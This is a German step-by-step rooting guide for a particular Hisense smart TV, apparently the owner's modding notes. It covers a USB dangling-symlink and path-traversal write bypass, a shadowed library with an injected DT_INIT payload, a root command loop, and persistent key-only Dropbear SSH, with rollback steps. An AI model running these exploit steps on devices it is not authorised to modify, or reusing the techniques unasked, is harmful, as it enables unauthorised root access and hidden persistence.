# ROOT-GUIDE — Hisense HE40E5600FFWTS (V0100.01.00A.N0410) **Finaler, replizierbarer Root-Weg.** Kein Flash, kein `.pkg`, kein UART, kein Öffnen des TVs. **Ziel-TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94` **Host:** Linux mit Python 3, `arm-linux-gnueabihf-*`, optional `qemu-arm`; Host-IP im Beispiel `192.168.188.150` **Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen). Dieser Ordner ist **self-contained**: Payload, Original-Lib, Dropbear-Binaries, Host-/TV-Skripte, Public Key, Host-Key-Fingerprint, Build-Skripte und die Doku liegen hier. Du musst nicht durch den alten Run-Ordner suchen. Die alte `docs/re/...`-Ablage ist nur noch Evidence/Provenienz. --- ## 0. Ergebnis Beim Boot lädt `hisense_browser` (UID 0, Single-Process, `CapEff=0000003fffffffff`) eine präparierte **`libtvsysinfo.so`** aus `/3rd_rw/loglevel/lib`. Der angehängte `DT_INIT` läuft als root, schreibt den Proof, startet die Root-Loop und ruft danach den Original-Init auf. Über den `HamService`-Wrapper starten Root-Loop und Dropbear bei jedem Boot. SSH ist **key-only**; Login als `root` gibt eine echte Root-Shell mit PTY. Beweis (live): ``` /3rd_rw/root_proof.txt = ROOT_EXEC_TVI uid=0(root) gid=0(root) Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff ``` **Optional SFTP:** Dropbear bringt keinen eigenen `sftp-server` mit. Im Ordner liegen ein **statischer OpenSSH-9.9p1-sftp-server** und ein Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; `root/scripts/host/install_sftp.sh` installiert beides (Test auf 2222, dann Tausch auf 22). Danach: `sftp root@192.168.188.94`. Siehe 9.4. --- ## 1. Die Kette (warum das geht) 1. **Browser ist root.** `hisense_browser` läuft als UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp/NoNewPrivs. JS im Browser ist root-equivalent. 2. **USB-Schreibprimitive.** `HSJSX_File::IsSubDentry` prüft `realpath` + Präfix gegen `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`. Ein **dangling Symlink** auf einem ext4-USB lässt `realpath` am fehlenden Ziel scheitern; der Elternpfad `/dev/shm/shm_tmp/mnt/usb/` ist erlaubt. `fopen` folgt dem Symlink und legt die Zieldatei als root an. Damit sind **neue Root-Dateien** überall anlegbar. 3. **Loader-Shadow.** `hisense_browser` hat `libtvsysinfo.so` als direktes `NEEDED`; `DT_RPATH=/lib/`, dort liegt sie nicht. `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib` — das erste Verzeichnis, das die Lib liefern kann. Die dort per Symlink-Bypass abgelegte `libtvsysinfo.so` wird beim nächsten Browser-Start geladen. 4. **DT_INIT-Payload.** Die echte `libtvsysinfo.so` wird um Code am Dateiende erweitert (RX-LOAD `p_filesz/memsz` mit erweitert); `DT_INIT` zeigt auf den neuen Code. Der Code: - `unlink` der eigenen Datei (Selbstschutz), - schreibt `/3rd_rw/root_proof.txt`, - `fork` + `execve("/bin/sh", ["/bin/sh", "/3rd_rw/appdata/root_loop.sh"], NULL)`, - ruft den Original-`DT_INIT` per PC-relativem `bl` auf, - kehrt zum Loader zurück. 5. **Root-Loop.** `/3rd_rw/appdata/root_loop.sh` läuft als root, liest `root_cmd.sh`, führt sie aus und schreibt `root_out.txt`. 6. **SSH-Persistenz.** `/3rd_rw/hamservice/HamService` ist ein Wrapper: startet Root-Loop + Dropbear, führt danach das echte `/3rd/hamservice/HamService` aus. `startHam.sh` ruft ihn beim Boot als root auf. Dropbear nutzt ein bind-gemountetes `/etc/passwd` (Root-Home `/3rd_rw/sshd/home`) und `~/.ssh/authorized_keys`. PTYs kommen aus einem devpts-Mount auf `/dev/shm/pts`, der auf `/dev/pts` gebindet wird. --- ## 2. Ordner / Artefakte ``` root/ ROOT-GUIDE.md # diese Datei README.md # kurzer Index tools/ server.py # Host: recon.html + /pub + /cmd + /recon + /dump recon.html # Host: TV-Seite mit fileXHR/listDir/HiBrowser-Hook live_cmd.txt # optionaler Live-Command-Kanal (leer = nichts) pub/ libtvsysinfo.so # finaler Payload (33500 B) dropbear # statischer ARM-Dropbear 2022.83 (key-only) dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server dropbearkey sftp-server # statischer OpenSSH 9.9p1 sftp-server authorized_keys # dein Public Key start_sshd.sh # TV: Dropbear + passwd/PTY-Bindmounts root_loop.sh # TV: Root-Kommandokanal hamservice-wrapper.sh # TV: Boot-Hook, ersetzt /3rd_rw/hamservice/HamService deploy_sshd.sh # TV: installiert alles (als root ausführen) verify.sh # TV: Health-Check rollback.sh # TV: alles zurückbauen scripts/ host/ prepare_usb.sh # Host: ext4/MBR-Stick + Symlinks start_http.sh # Host: Server auf :9000 plant_payload.js # TV-Konsole: Payload durch tvi schreiben upload_to_appdata.js # TV-Konsole: Dropbear/Deploy-Dateien nach appdata run_root_cmd.js # TV-Konsole: root_cmd.sh schreiben/root_out lesen build_payload.sh # Host: Payload aus tvi_original.so bauen build_tvi_payload.py # Host: Builder (deterministisch) build_dropbear.sh # Host: Dropbear aus sources/ bauen build_sftp_server.sh # Host: statischen sftp-server bauen patch_dropbear_sftp.py # Host: Dropbear-SFTP-Pfad patchen install_sftp.sh # Host: SFTP installieren/testen/auf 22 tauschen tv/ start_sshd.sh root_loop.sh hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh install_sftp_stage.sh # TV: sftp-server + Test-Dropbear auf 2222 enable_sftp.sh # TV: Tausch auf 22 planen swap_sftp.sh # TV: Tausch ausführen (detached) artifacts/ tvi_original.so # Original /3rd_rw/tvsysinfo/lib/libtvsysinfo.so (33220 B) keys/authorized_keys # dein Public Key keys/host-key-fingerprint.txt sources/ dropbear-2022.83.tar.bz2 # Offline-Buildquelle (SHA unten) openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server modding/ # die Modding-Doku (eigene Abteilung) dead-ends.md # kurze Liste der Sackgassen SHA256SUMS ``` **Wichtig:** `root/tools/pub/authorized_keys` enthält **nur** deinen Public Key. Der private Key bleibt auf deinem Rechner und ist nirgends in diesem Ordner. --- ## 3. Voraussetzungen - TV im LAN, erreichbar als `192.168.188.94` (IP ggf. anpassen). - Host im selben LAN; Python 3; für den Rebuild: `gcc-arm-linux-gnueabihf`, `binutils-arm-linux-gnueabihf`, `make`, `bzip2`. - Optional SFTP: OpenSSH-Client (`sftp`) auf dem Host; der TV braucht keinen Client. - USB-Stick, **ext4 mit MBR-Partitionstabelle** (kein Superfloppy). Der TV mountet Partitionen. - Der Public Key in `root/tools/pub/authorized_keys` muss zu deinem privaten Key passen. Aktuell: ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root ``` - Host-Key des TV-SSHD (Ed25519): ``` SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts ``` --- ## 4. Der Weg in Kürze ``` 1. USB-Stick: sudo root/scripts/host/prepare_usb.sh /dev/sdX 2. Server: root/scripts/host/start_http.sh 3. TV-Seite: http://:9000/recon.html 4. Payload: root/scripts/host/plant_payload.js (USB-Dev anpassen) → Reboot 5. Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI 6. SSH-Dateien: root/scripts/host/upload_to_appdata.js 7. Deploy: root/scripts/host/run_root_cmd.js → deploy_sshd.sh 8. Verbinden: ssh root@192.168.188.94 9. Persistenz: HamService-Wrapper ist installiert; Reboot-Test 10. Rollback: root/scripts/tv/rollback.sh (auf dem TV, als root) 11. SFTP opt.: root/scripts/host/install_sftp.sh ``` Die Schritte im Detail: --- ## 5. Schritt 1 — USB-Stick (ext4 + MBR + `tvi`-Symlink) ### 5.1 Skript ```bash cd /workspace/hisense-he40e5600-root-modding sudo root/scripts/host/prepare_usb.sh /dev/sdX ``` Das Skript ist **destruktiv**: `wipefs`, MBR, `mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM`, dann: ``` tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (Pflicht, muss dangling bleiben) pwn -> /3rd_rw/root_proof.txt (optional, Proof-Target) ``` ### 5.2 Manuell (falls du es selbst machen willst) ```bash lsblk -f sudo wipefs -a /dev/sdX sudo parted -s /dev/sdX mklabel msdos mkpart primary ext4 1MiB 100% sudo mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM /dev/sdX1 sudo mkdir -p /mnt/data sudo mount /dev/sdX1 /mnt/data sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/data/tvi sudo ln -sfn /3rd_rw/root_proof.txt /mnt/data/pwn sync sudo umount /mnt/data ``` - **`tvi` muss dangling sein** (Ziel existiert noch nicht). Genau das ist der Whitelist-Bypass. - FAT32 kann keine Symlinks; ext4 mit alter Feature-Menge (`^64bit,^metadata_csum`) wird vom 3.18-Kernel gemountet. - Ein Whole-Disk-ext4 (Superfloppy, kein `sdX1`) wird **nicht** gemountet. Dann Stick in den TV. Der TV mountet ihn als `/dev/shm/shm_tmp/mnt/usb/` (für JS sichtbar als `/mnt/usb/`, z. B. `sda1`/`sdb1`/`sdc1`). --- ## 6. Schritt 2 — Host-Server + Recon-Seite ```bash cd /workspace/hisense-he40e5600-root-modding root/scripts/host/start_http.sh # TV URL: http://:9000/recon.html ``` Der Server liefert `recon.html`, `/cmd`, `/recon`, `/dump` und `/pub/*`. Die TV-Seite pollt `/cmd` und führt JS im **root-Browser** aus. Auf dem TV im Browser öffnen: ``` http://:9000/recon.html ``` USB-Dev ermitteln (Konsole/Hook): ```js listDir("/mnt/usb") // z. B. "[D] sda1" listDir("/mnt/usb/sda1") // muss "tvi" zeigen ``` --- ## 7. Schritt 3 — Payload schreiben ### 7.1 Skript (TV-Konsole) `root/scripts/host/plant_payload.js` in die Konsole pasten; **`usb` anpassen**: ```js var usb = "/mnt/usb/sda1"; // <-- aus listDir("/mnt/usb") var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; var url = location.origin + "/pub/libtvsysinfo.so"; var o = {}; o.download = HiBrowser.File.download(url, target, 1); o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so", "tvi_check_plant.so", 1); o ``` Erwartung: `download=0`, `back=0`; danach existiert ``` /3rd_rw/loglevel/lib/libtvsysinfo.so 33500 B SHA-256 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a ``` ### 7.2 Manuell (ohne JS-Datei) ```js HiBrowser.File.download( "http://:9000/pub/libtvsysinfo.so", "so/../../../../dev/shm/shm_tmp/mnt/usb/sda1/tvi", 1 ); ``` ### 7.3 Verifizieren - `back=0` und die 33.500 B / SHA oben. - Optional die zurückgelesene Datei `tvi_check_plant.so` mit `pub/libtvsysinfo.so` vergleichen. - **Nicht rebooten**, bevor die Bytes stimmen. ### 7.4 Reboot TV komplett aus- und wieder einschalten. Beim Boot lädt `hisense_browser` die Shadow-Lib aus Index 17; der `DT_INIT` läuft als root. --- ## 8. Schritt 4 — Root prüfen / Kommandokanal Nach dem Boot Recon-Seite erneut öffnen. ```js fileXHR("file:///3rd_rw/root_proof.txt") // ROOT_EXEC_TVI fileXHR("file:///3rd_rw/appdata/root_loop.pid") // z. B. 1425 listDir("/3rd_rw/loglevel/lib") // nur liblogLevel.so => Self-Unlink ok ``` Root-Befehl über den Loop: ```js HiBrowser.File.write("root_cmd.sh", "id\n" + "cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1); // nach ca. 2 s: fileXHR("file:///3rd_rw/appdata/root_out.txt") ``` Erwartung: ``` uid=0(root) gid=0(root) Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff ``` Fertiges Snippet: `root/scripts/host/run_root_cmd.js` (CMD anpassen). --- ## 9. Schritt 5 — Dropbear/SSH installieren ### 9.1 Dateien nach `/3rd_rw/appdata` laden `root/scripts/host/upload_to_appdata.js` in die TV-Konsole pasten. Es lädt aus `root/tools/pub/`: ``` dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh ``` nach `/3rd_rw/appdata`. Erwartung: alle Werte `0`. ### 9.2 Deploy als root (über die Root-Loop) `root/scripts/host/run_root_cmd.js` mit ``` /bin/sh /3rd_rw/appdata/deploy_sshd.sh ``` ausführen (oder in der Konsole): ```js HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/deploy_sshd.sh\n", 1); // nach ca. 5 s: fileXHR("file:///3rd_rw/appdata/root_out.txt") ``` `deploy_sshd.sh` macht: - `dropbear`/`dropbearkey` → `/3rd_rw/sshd/` - Host-Key (`dropbearkey -t ed25519 -f /3rd_rw/sshd/host_key`) - `/etc/passwd`-Kopie mit `root:/3rd_rw/sshd/home:/bin/sh`, **bind mount** über `/etc/passwd` - devpts auf `/dev/shm/pts`, **bind mount** über `/dev/pts` (PTY; `/dev` ist statisch ro) - `authorized_keys` aus dem Public Key - `start_sshd.sh` + `root_loop.sh` + `hamservice-wrapper.sh` - Start von Dropbear auf `0.0.0.0:22`, key-only - Health-Ausgabe (Prozesse, Port, Log, Host-Key, Mounts) ### 9.3 Verbinden ```bash ssh root@192.168.188.94 # oder, wenn dein Key nicht der Default ist: ssh -i ~/.ssh/ root@192.168.188.94 ``` Beim ersten Verbinden Host-Key bestätigen: ``` ED25519 key fingerprint is SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts ``` Erwartung: `root@...:~#`, `id` → `uid=0(root)`. **Key-only:** `DROPBEAR_SVR_PASSWORD_AUTH=0` beim Build; es gibt keinen Passwort-Login. Dein Public Key ist der einzige Zugang. **PTY:** devpts-Workaround ist im `start_sshd.sh`/`deploy_sshd.sh`. Falls doch `PTY allocation failed`: ```sh mkdir -p /dev/shm/pts mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts mount --bind /dev/shm/pts /dev/pts ``` Danach erneut verbinden; Dropbear muss nicht neu starten. Fallback ohne PTY: ```bash ssh -T root@192.168.188.94 'id; uname -a' ``` ### 9.4 SFTP (optional, key-only) Dropbear hat **keinen eigenen sftp-server**; der Server exec't den compile-time `SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro Rootfs erlaubt dort keine Datei. Deshalb liegen im Ordner: - `tools/pub/sftp-server` — statischer OpenSSH-9.9p1-sftp-server (ARM) - `tools/pub/dropbear-sftp` — Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` Installation vom Host (nutzt deinen SSH-Key; ein `sftp`-Client wird nur für den Test benötigt): ```bash cd /workspace/hisense-he40e5600-root-modding root/scripts/host/install_sftp.sh # optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ... ``` Ablauf: lädt beide Binaries nach `/3rd_rw/appdata`; startet einen **Test-Dropbear auf Port 2222** (Port 22 bleibt unangetastet); testet `sftp -P 2222`; nur bei Erfolg wird der Binary auf 22 getauscht (Backup: `/3rd_rw/sshd/dropbear.nosftp`). Danach: ```bash sftp root@192.168.188.94 # pwd, ls, put, get ... ``` **Rollback:** ```bash ssh root@192.168.188.94 \ 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \ kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \ /bin/sh /3rd_rw/sshd/start_sshd.sh' ``` **SFTP ist root-equivalent** (Login als root), key-only, nur LAN. Es ist derselbe Zugang wie SSH; keine zusätzlichen Credentials. --- ## 10. Schritt 6 — Persistenz (Boot) `deploy_sshd.sh` installiert bereits `/3rd_rw/hamservice/HamService`: ```sh #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin export PATH /bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 & [ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 & exec /3rd/hamservice/HamService "$@" ``` Boot-Ablauf: 1. `startHam.sh` wechselt nach `/3rd_rw/hamservice`. 2. `[ -e HamService ] && [ -x HamService ]` → `./HamService &`. 3. Wrapper startet Root-Loop + Dropbear (Bind-Mounts/PTY), `exec`t dann das echte `/3rd/hamservice/HamService`. 4. Root-Loop und Dropbear laufen als root weiter. **Reboot-Test:** TV neu starten; danach: ```bash ssh root@192.168.188.94 'id; ps | grep -E "dropbear|root_loop"' ``` Oder auf dem TV: `/bin/sh /3rd_rw/appdata/verify.sh`. **Alternative für frühe Mods:** `/3rd_rw/developer.sh` (wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt, **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`). Siehe `modding/02-boot.md` und `modding/04-modding.md`. --- ## 11. Schritt 7 — Rollback ### 11.1 Skript (TV, als root) ```sh /bin/sh /3rd_rw/appdata/rollback.sh # oder aus diesem Ordner hochladen und ausführen ``` Es stoppt Loop/Dropbear, stellt den HamService-Symlink wieder her, unmountet `/etc/passwd`/`/dev/pts`/`/dev/shm/pts`, entfernt `/3rd_rw/sshd`, die Shadow-Lib und die alten ms-/appdata-Payloads. Danach Reboot. ### 11.2 Manuell ```sh kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null kill "$(cat /3rd_rw/sshd/dropbear.pid)" 2>/dev/null rm -f /3rd_rw/hamservice/HamService ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService umount /etc/passwd 2>/dev/null umount /dev/pts 2>/dev/null umount /dev/shm/pts 2>/dev/null rm -rf /3rd_rw/sshd rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so sync reboot ``` Der ro Rootfs ist unverändert; die Original-`libtvsysinfo.so` bleibt unter `/3rd_rw/tvsysinfo/lib`. Kein Flash, kein `.pkg`. --- ## 12. Troubleshooting | Problem | Ursache / Lösung | |---|---| | `PTY allocation request failed` / `openpty: No space left on device` | `/dev/pts` ist nicht devpts. `mkdir -p /dev/shm/pts; mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts; mount --bind /dev/shm/pts /dev/pts`. Erneut verbinden. | | `Permission denied (publickey)` | `grep '^root:' /etc/passwd` muss `/3rd_rw/sshd/home:/bin/sh` zeigen (Bind-Mount). `authorized_keys` 600, `.ssh` 700, Home 700. `cat /3rd_rw/sshd/dropbear.log`. | | `Connection refused` | Dropbear läuft nicht: `ps | grep dropbear`, `cat /3rd_rw/sshd/dropbear.log`, `/bin/sh /3rd_rw/sshd/start_sshd.sh`. Port 22: `/proc/net/tcp` (`:0016`). | | Host-Key-Warnung | `ssh-keygen -R 192.168.188.94`; Fingerprint `SHA256:7tFL…` bestätigen. | | Recon-Seite weg | TV-Browser neu öffnen: `http://:9000/recon.html`. SSH/Root-Loop laufen unabhängig. | | Nach Reboot kein SSH | `/3rd_rw/hamservice/HamService` (Wrapper, 755), `/3rd_rw/sshd/start_sshd.sh`, `dropbear.log`, `mount.log` prüfen. `startHam.sh` startet den Wrapper. | | Root-User nicht gefunden | `/etc/passwd`-Bind fehlt: `mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd`; `grep '^root:' /etc/passwd`. | | Kein Root nach Payload | Datei 33.500 B/SHA prüfen; `/3rd_rw/loglevel/lib/libtvsysinfo.so` vorhanden; Browser neu starten; Index 17. | | `dropbear: Invalid option -s` | Dieser Build hat kein `-s`; Passwort-Auth ist **compile-time** aus. `-s` aus dem Startskript entfernen (hier bereits nicht enthalten). | | `sh: /usr/libexec/sftp-server: No such file` | Der Dropbear ist noch der ungepatchte. `root/scripts/host/install_sftp.sh` ausführen; prüfen: `grep -a 'sftp-server' /3rd_rw/sshd/dropbear` → `/3rd_rw/sshd/sftp-server`. | | SFTP auf 2222 scheitert | `/3rd_rw/sshd/dropbear2222.log` prüfen; Port 22 wurde nicht angefasst. | | SFTP auf 22 scheitert | `/3rd_rw/sshd/swap.log`, `/3rd_rw/sshd/dropbear.log`; Rollback-Befehl in 9.4. | Dead Ends und verworfene Wege: `../dead-ends.md` (kurz). --- ## 13. Artefakte und Hashes | Artefakt | Pfad | Größe / SHA-256 | |---|---|---| | Original `libtvsysinfo.so` | `artifacts/tvi_original.so` | 33.220 B / `36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c` | | Root-Payload | `tools/pub/libtvsysinfo.so` | 33.500 B / `37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a` | | Dropbear | `tools/pub/dropbear` | 882.204 B / `976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae` | | Dropbearkey | `tools/pub/dropbearkey` | 755.452 B / `3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf` | | Dropbear-Quelle | `sources/dropbear-2022.83.tar.bz2` | `bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b` | | SFTP-Server | `tools/pub/sftp-server` | 635.680 B / `d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3` | | Dropbear (SFTP) | `tools/pub/dropbear-sftp` | 882.204 B / `a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57` | | OpenSSH-Quelle | `sources/openssh-9.9p1.tar.gz` | `b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02` | | Host-Key (SSH) | TV: `/3rd_rw/sshd/host_key` | Ed25519 / `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` | | Dein Auth-Key | `tools/pub/authorized_keys` | Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY` | | Root-Proof | TV: `/3rd_rw/root_proof.txt` | `ROOT_EXEC_TVI\n` | | Root-Loop | TV: `/3rd_rw/appdata/root_loop.sh` | PID: `/3rd_rw/appdata/root_loop.pid` | `SHA256SUMS` im Top-Level: `cd /workspace/hisense-he40e5600-root-modding && sha256sum -c SHA256SUMS`. --- ## 14. Sicherheit / Grenzen - **SSH ist key-only, root, im LAN.** Kein Passwort-Login; der private Key ist der einzige Zugang. Nicht ins Internet exponieren. - **SFTP ist optional und root-equivalent.** Key-only wie SSH; der sftp-server läuft als root. Installation testet zuerst Port 2222; Backup `/3rd_rw/sshd/dropbear.nosftp`; Rollback in 9.4. - **Der Root-Loop ist root-equivalent.** Wer `/3rd_rw/appdata/root_cmd.sh` schreiben kann (der Browser läuft als root), kann Root-Befehle ausführen. Gewollt, aber entsprechend behandeln. - **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs und `/3rd` sind squashfs-ro; Änderungen liegen in `/3rd_rw` (rw), `/data` (rw), `/perm` (rw) und in Bind-Mounts. - **`/etc/passwd`-Bind** ändert nur die Laufzeit-Sicht (Root-Home/Shell); die ro Originaldatei bleibt unverändert. Ein Reboot ohne Startskript stellt den Originalzustand her. - **Persistenz** kommt vom `HamService`-Wrapper (und ggf. `developer.sh`). Der `libtvsysinfo`-Shadow löscht sich selbst. - **Firmware-Updates** können Pfade/Verhalten ändern; danach Loader-Reihenfolge, HamService-Hook und `/3rd_rw` prüfen. - **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key. Nur Public Key + Host-Fingerprint. --- ## 15. Verifikationsstatus | Punkt | Status | |---|---| | Browser root (UID 0, CapEff full) | **CONFIRMED live** | | USB-ext4-Symlink-Bypass | **CONFIRMED live** (`/3rd_rw/root_proof.txt`) | | `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) | | Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) | | Dropbear-SSH, Port 22 | **CONFIRMED live** (`00000000:0016`) | | SSH-Pubkey-Auth als root | **CONFIRMED live** (`Pubkey auth succeeded for 'root'`) | | PTY / interaktive Shell | **CONFIRMED live** (Session pts/0; `busybox script` → `uid=0(root)`) | | SFTP (optional) | static sftp-server + patched Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** | | Boot-Persistenz (HamService-Wrapper) | eingerichtet; Reboot-Test in dieser Doku beschrieben | | Payload-Build reproduzierbar | **CONFIRMED** (`build_tvi_payload.py` → exakt `37b13f…`) | **Scripts:** `tools/pub/*` ist der ausgelieferte Stand; `scripts/tv/*` die Quelle. `deploy_sshd.sh` entspricht dem manuell live ausgeführten Setup. `prepare_usb.sh`/`start_http.sh`/`plant_payload.js`/`upload_to_appdata.js`/`run_root_cmd.js` sind die Host-/TV-Helfer. `build_dropbear.sh` baut die in `tools/pub` liegenden Binaries reproduzierbar aus `sources/`; `build_sftp_server.sh` baut den statischen sftp-server; `install_sftp.sh` installiert/testet SFTP. Viel Erfolg. Und: erst backupen, dann modden. :)